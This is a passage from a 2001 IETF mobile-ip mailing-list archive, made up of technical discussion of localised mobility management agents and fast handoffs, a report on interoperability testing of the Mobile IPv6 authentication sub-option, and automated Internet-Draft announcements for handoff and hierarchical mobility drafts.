yes, but carefull.. by LMM I do not imply agent, but the scheme of
localised mobility management.

> 
>         Since the Advertiser has to know the identities of LMM Mobility
>         Agents, I named it an LMM Advertising Agent. (including it as part
>         of the logical system).

now we are in sync...proceed..
> 
>         This is because the Advertising agent may have to know and
>         understand the state of LMM Agents (and must be part of the
>         framework, even if this function is not used in every LMM solution).

well we don't want to open that can of worms...yet..but sure..one slight
objection...know...yes..understand..hmmm perhaps not...unless the
advertising agent is going to re-elect a new LMM agent as soon as it
looses the heartbeat from the former master..then yes I can see where
you coming from..



> 
>         I personally don't see any major problem in defining two discrete
>         entities with discrete functions both as Agents.

if we want to be structured I would opt for these terms....the abstract
functions are quite applicable to any solution..
> 
>         i.e. the Advertising Agent does not have any of the function of
>                 the Mobility Agent (--> packet tunnelling/forwarding/etc.).
> 
>         it is most likely a software process like radvd...
> 
>         If there is consensus that this description is not helpful, I will
>         refrain from using it.  What others have said recently regarding the
>         location of LMM (Mobility) Agents could indicate that this distinction
>         is useful.

I think it is indeed
> 
>                 Greg Daley
> 



Cheers

Theo
UCL/Mobile Systems Group


> 
> Theo Pagtzis wrote:
> >
> > Just a second...
> >
> >   the primary function of an LMM agent function is to localise signaling
> > w.r.t. BUs as well as forward the traffic to the MN.
> >
> > The advertising and dynamic discovery of one or more LMM is _not_ what
> > an LMM is characterized as such. That is to say that some agent that
> > advertises existence of an LMM is not an LMM agent by itself. I am
> > saying this because you seem to decouple the advertising function from
> > the core LMM function..while this is fine by me...since you want to
> > somewhat centralise reporting of LMM agents to the advertiser such that
> > you have better control of advertising.
> >
> > However by no means is the advertiser an LMM agent...otherwise you have
> > elected a single LMM agent as advertiser, which if it goes does down so
> > goes for the advertising capability. In that light the advertiser is not
> > an LMM agent.
> >
> > The fact that some announcer voices that the king is around does not
> > make the announcer a king.
> >
> > Theo
> > UCL/Mobile Systems Group
> >
> > Greg Daley wrote:
> > >
> > > James Kempf wrote:
> > > >
> > > > I don't understand what you mean by LMM Mobility. My understanding is
> > > > that the only issue involved in movement detection is having the mobile
> > > > node determine when it has moved from one LMM agent coverage area to
> > > > another. But you seem to have something else in mind.
> > > >
> > >
> > >         Hi James,
> > >
> > >         It depends on how tight the coupling is.
> > >         I just don't want to get into a situation where the draft
> > >         says something like "The LMM Agent should be co-located with the AR"
> > >
> > >         since there are at least two functions:
> > >
> > > *       The advertising/dynamic discovery mechanism for the LMM domain
> > >         (which is intrinsically tied to a set of access networks)
> > >
> > > *       The mobility management and signalling which may or may not be
> > > insensitive
> > >         to where the Mobile devices connect from.
> > >
> > >         Maybe I'm just being reactionary, but since there are two functions,
> > >         I see two agents, apart from the mobile node.
> > >
> > >                 Greg


From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov 28 18:06:53 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA22690
	for <mobileip-archive@odin.ietf.org>; Wed, 28 Nov 2001 18:06:52 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA08048;
	Wed, 28 Nov 2001 16:05:42 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA11295;
	Wed, 28 Nov 2001 15:05:42 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fASN4j1V014736
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 28 Nov 2001 15:04:45 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fASN4jsx014735
	for mobile-ip-dist; Wed, 28 Nov 2001 15:04:45 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fASN4f1V014728
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 28 Nov 2001 15:04:41 -0800 (PST)
Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA11114
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 28 Nov 2001 15:04:43 -0800 (PST)
Received: from docomolabs-usa.com (fridge.docomo-usa.com [216.98.102.228])
	by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA26585
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 28 Nov 2001 16:04:42 -0700 (MST)
Received: from DOCOMOALPER (dhcp98.docomo-usa.com [172.21.96.98])
	by docomolabs-usa.com (8.11.3/8.11.3) with SMTP id fASN4g525257
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 28 Nov 2001 15:04:42 -0800 (PST)
Message-ID: <194901c17860$eff8fb70$626015ac@DOCOMOALPER>
From: "Alper Yegin" <alper@docomolabs-usa.com>
To: <mobile-ip@sunroof.eng.sun.com>
References: <3C04DEE6.5831C3D0@cs.ucl.ac.uk> <3C04E4D5.74FF28C6@cs.ucl.ac.uk>
Subject: Re: [mobile-ip] fast handoffs v3 draft
Date: Wed, 28 Nov 2001 15:03:48 -0800
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Hi Theo,

Actually, as far as leaning towards "predictive handoffs", this new
version has no difference. I think the new terminology "predictive"
makes you think that way.

This is kind of misleading. Both BETH and rest of FMIPv6 require
some level of "anticipation". The protocol signaling has to be
completed before L2 handover is complete. Since BETH has
zero L3 signaling, the amount of required anticipation is less.

Of course any positive contribution is welcome. It is just that
the protocol is same as before, except addition of BETH.

alper


----- Original Message -----
From: "Theo Pagtzis" <t.pagtzis@cs.ucl.ac.uk>
To: <mobile-ip@sunroof.eng.sun.com>
Sent: Wednesday, November 28, 2001 5:21 AM
Subject: [mobile-ip] fast handoffs v3 draft


> Hi all,
>
> Having seen the latest version of the fast handoffs draft, I see that
> the protocol leans now towards predictive handoffs that was not the case
> for the previous 2 versions)  which I am already addressing in my
> proactive mobility proposal:
>
>
http://search.ietf.org/internet-drafts/draft-pagtzis-seamoby-proactivev6-00.
txt
> with schematics that
>
> can be found in
>
>
http://www.cs.ucl.ac.uk/staff/t.pagtzis/papers/draft-pagtzis-mobileip-proact
ivev6-00.ps
> or
> http://www.cs.ucl.ac.uk/staff/t.pagtzis/papers/techRep20010103.ps.gz
>
> I believe I could contribute to the fast handoffs draft by augmenting it
> with existing text from my proposal with respect addressing state
> preconfiguration as well as other issues that I would be addressing
> otherwise in my updated version. Would such contribution be encouraged
> by the authors of the fast handoff draft?
>
>
> Theo
> UCL/Mobile Systems
>
> PS. BTW the argument that my proposal was very long is not really an
> excuse for not returning comments since as I can see other proposals
> much longer and complicated. Additionaly, I can 'see' that people have
> read the proposal. That means that any comments would be welcomed.
>



From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov 28 22:32:51 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA14973
	for <mobileip-archive@lists.ietf.org>; Wed, 28 Nov 2001 22:32:51 -0500 (EST)
Received: from engmail4.Eng.Sun.COM ([129.144.134.6])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id UAA04548;
	Wed, 28 Nov 2001 20:31:50 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id TAA14295;
	Wed, 28 Nov 2001 19:31:15 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAT3UC1V015346
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 28 Nov 2001 19:30:12 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAT3UCIp015345
	for mobile-ip-dist; Wed, 28 Nov 2001 19:30:12 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAT3U81V015338
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 28 Nov 2001 19:30:08 -0800 (PST)
Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id TAA00866
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 28 Nov 2001 19:30:05 -0800 (PST)
Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12])
	by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id TAA07438
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 28 Nov 2001 19:30:04 -0800 (PST)
Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69])
	by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id TAA18898
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 28 Nov 2001 19:30:04 -0800 (PST)
X-Delivered-For: <mobile-ip@sunroof.eng.sun.com>
Received: (from root@localhost)
	by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id fAT3U3o16737
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 28 Nov 2001 19:30:03 -0800
X-mProtect:  Wed, 28 Nov 2001 19:30:03 -0800 Nokia Silicon Valley Messaging Protection
Received: from vijayd.iprg.nokia.com (205.226.2.94, claiming to be "iprg.nokia.com")
	by darkstar.iprg.nokia.com(P1.5 smtpdCT6TIY; Wed, 28 Nov 2001 19:30:02 PST
Message-ID: <3C05ABBB.51F282E1@iprg.nokia.com>
Date: Wed, 28 Nov 2001 19:30:03 -0800
From: Vijay Devarapalli <vijayd@iprg.nokia.com>
X-Mailer: Mozilla 4.7 [en] (X11; I; FreeBSD 3.4-RELEASE i386)
X-Accept-Language: en
MIME-Version: 1.0
To: mobile-ip@sunroof.eng.sun.com
Subject: [mobile-ip] Interoperability for the Auth Suboption
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Hello,

At the ETSI IPv6 plugtest at Cannes last week, we managed to 
achieve interoperability for the Authentication Sub Option.
There were two independent implentations (one from HUT) and
one from us (Nokia Research, Mt. View). There were also
conformance tests from Ericsson Research, Hungary to test
the Authentication Sub Option. The tests were successful.
We used static security associations for the tests.

IMHO, It is very easy to implement. Compared to this AH
checksum calculation is a mess.

The auth checksum was calculated over the following fields 
(as specifed in draft 15).

For the Binding Update

    -  The IPv6 address of the destination of the packet, as seen by the
       recipient
    -  Care-of Address, in the Source IP Address of the IPv6 header
    -  The Home Address of the mobile node, from the Home Address
       destination option
    -  Option Type of the Binding Update destination option
    -  Option Length of the Binding Update destination option
    -  All flags of the Binding Update destination option
    -  Reserved Field of the Binding Update destination option
    -  Sequence Number Field of the Binding Update
    -  Lifetime of the Binding Update destination option
    -  The entire data from all Binding Update Sub-Options (except the
       Authentication Data suboption), if any others exist
    -  The Type (i.e., the 8-bit value 0x04) and the Length of the
       Authentication Data Sub-Option
    -  Security Parameters Index (SPI) of the Authentication Data
       Sub-Option


For the Binding Acknowledgement

    -  The IPv6 address of the destination of the packet, as seen by the
       recipient
    -  The Home Address of the sender
    -  Option Type of the Binding Acknowledgement destination option
    -  Option Length of the Binding Acknowledgement
    -  Status of the Binding Acknowledgement
    -  Sequence Number field of the Binding Acknowledgement
    -  Lifetime field of the Binding Acknowledgement destination option
    -  Refresh field of the Binding Acknowledgement destination option
    -  The entire data from all Binding Acknowledgement Sub-Options
       (except the Authentication Data suboption), if any others exist
    -  The Type (i.e., the 8-bit value 0x04) and the Length of the
       Authentication Data Sub-Option
    -  Security Parameters Index (SPI) of the Authentication Data
       Sub-Option


regards
Vijay


From owner-mobile-ip@sunroof.eng.sun.com  Thu Nov 29 06:08:04 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA20671
	for <mobileip-archive@lists.ietf.org>; Thu, 29 Nov 2001 06:08:04 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id EAA01376;
	Thu, 29 Nov 2001 04:06:48 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA19195;
	Thu, 29 Nov 2001 03:06:54 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fATB601V015873
	for <mobile-ip-dist@sunroof.eng.sun.com>; Thu, 29 Nov 2001 03:06:00 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fATB60R9015872
	for mobile-ip-dist; Thu, 29 Nov 2001 03:06:00 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fATB5t1V015862
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 29 Nov 2001 03:05:55 -0800 (PST)
Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA19120
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 29 Nov 2001 03:05:55 -0800 (PST)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id DAA16152
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 29 Nov 2001 03:05:55 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA20316;
	Thu, 29 Nov 2001 06:05:51 -0500 (EST)
Message-Id: <200111291105.GAA20316@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: mobile-ip@sunroof.eng.sun.com
From: Internet-Drafts@ietf.org
Subject: [mobile-ip] I-D ACTION:draft-ietf-mobileip-lowlatency-handoffs-v4-03.txt
Date: Thu, 29 Nov 2001 06:05:50 -0500
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the IP Routing for Wireless/Mobile Hosts Working Group of the IETF.

	Title		: Low latency Handoffs in Mobile IPv4
	Author(s)	: K. Malki et al.
	Filename	: draft-ietf-mobileip-lowlatency-handoffs-v4-03.txt
	Pages		: 53
	Date		: 28-Nov-01
	
Mobile IPv4 describes how a Mobile Node can perform IP-layer handoffs
between subnets served by different Foreign Agents. In certain cases,
the latency involved in these handoffs can be above the threshold
required for the support of delay-sensitive or real-time services.
The aim of this document is to present two methods to achieve low-
latency Mobile IP handoffs. In addition, a combination of these two
methods is described.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mobileip-lowlatency-handoffs-v4-03.txt

To remove yourself from the IETF Announcement list, send a message to 
ietf-announce-request with the word unsubscribe in the body of the message.

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mobileip-lowlatency-handoffs-v4-03.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mobileip-lowlatency-handoffs-v4-03.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20011128143540.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mobileip-lowlatency-handoffs-v4-03.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mobileip-lowlatency-handoffs-v4-03.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<20011128143540.I-D@ietf.org>

--OtherAccess--

--NextPart--




From owner-mobile-ip@sunroof.eng.sun.com  Thu Nov 29 06:09:12 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA20834
	for <mobileip-archive@lists.ietf.org>; Thu, 29 Nov 2001 06:09:12 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id DAA01115;
	Thu, 29 Nov 2001 03:07:53 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA19219;
	Thu, 29 Nov 2001 03:07:02 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fATB5u1V015867
	for <mobile-ip-dist@sunroof.eng.sun.com>; Thu, 29 Nov 2001 03:05:56 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fATB5utA015864
	for mobile-ip-dist; Thu, 29 Nov 2001 03:05:56 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fATB5p1V015855
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 29 Nov 2001 03:05:51 -0800 (PST)
Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA19116
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 29 Nov 2001 03:05:51 -0800 (PST)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id DAA16128
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 29 Nov 2001 03:05:49 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA20298;
	Thu, 29 Nov 2001 06:05:45 -0500 (EST)
Message-Id: <200111291105.GAA20298@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: mobile-ip@sunroof.eng.sun.com
From: Internet-Drafts@ietf.org
Subject: [mobile-ip] I-D ACTION:draft-ietf-mobileip-hmipv6-05.txt
Date: Thu, 29 Nov 2001 06:05:45 -0500
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the IP Routing for Wireless/Mobile Hosts Working Group of the IETF.

	Title		: Hierarchical MIPv6 mobility management (HMIPv6)
	Author(s)	: H. Soliman, C. Castelluccia, K. Malki, L. Bellier
	Filename	: draft-ietf-mobileip-hmipv6-05.txt
	Pages		: 34
	Date		: 28-Nov-01
	
This draft introduces some extensions for MIPv6 and neighbour
discovery to allow for the introduction of a hierarchical MIPv6
mobility management model. The proposed hierarchical mobility
management for MIPv6 will reduce the amount of signalling to CNs and
the HA and may also improve the performance of MIPv6 in terms of
handoff speed. Moreover, HMIPv6 is well-suited to implement access
control and handoffs between different access technologies.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mobileip-hmipv6-05.txt

To remove yourself from the IETF Announcement list, send a message to 
ietf-announce-request with the word unsubscribe in the body of the message.

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mobileip-hmipv6-05.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mobileip-hmipv6-05.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20011128143527.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mobileip-hmipv6-05.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mobileip-hmipv6-05.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<20011128143527.I-D@ietf.org>

--OtherAccess--

--NextPart--




From owner-mobile-ip@sunroof.eng.sun.com  Thu Nov 29 06:10:58 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA21137
	for <mobileip-archive@lists.ietf.org>; Thu, 29 Nov 2001 06:10:58 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id EAA03305;
	Thu, 29 Nov 2001 04:09:47 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA19828;
	Thu, 29 Nov 2001 03:09:57 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fATB9K1V016085
	for <mobile-ip-dist@sunroof.eng.sun.com>; Thu, 29 Nov 2001 03:09:20 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fATB9K5b016084
	for mobile-ip-dist; Thu, 29 Nov 2001 03:09:20 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fATB9F1V016077
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 29 Nov 2001 03:09:16 -0800 (PST)
Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA19769
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 29 Nov 2001 03:09:15 -0800 (PST)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id EAA02929
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 29 Nov 2001 04:09:15 -0700 (MST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA20827;
	Thu, 29 Nov 2001 06:09:11 -0500 (EST)
Message-Id: <200111291109.GAA20827@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
CC: mobile-ip@sunroof.eng.sun.com
From: Internet-Drafts@ietf.org
Subject: [mobile-ip] I-D ACTION:draft-soliman-mobileip-flow-move-01.txt
Date: Thu, 29 Nov 2001 06:09:11 -0500
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.


	Title		: Per-flow movement in MIPv6
	Author(s)	: H. Soliman, K. Malki, C. Castelluccia
	Filename	: draft-soliman-mobileip-flow-move-01.txt
	Pages		: 9
	Date		: 28-Nov-01
	
The aim of this draft is to introduce a new extension to MIPv6 to
allow hosts to direct inbound flows individually to certain preferred
interfaces. This extension to MIPv6 allows hosts to take full
advantage of the diverse access technologies that they may be
connected to and direct their traffic according to internal policies
specified by the users or applications.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-soliman-mobileip-flow-move-01.txt

To remove yourself from the IETF Announcement list, send a message to 
ietf-announce-request with the word unsubscribe in the body of the message.

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-soliman-mobileip-flow-move-01.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-soliman-mobileip-flow-move-01.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
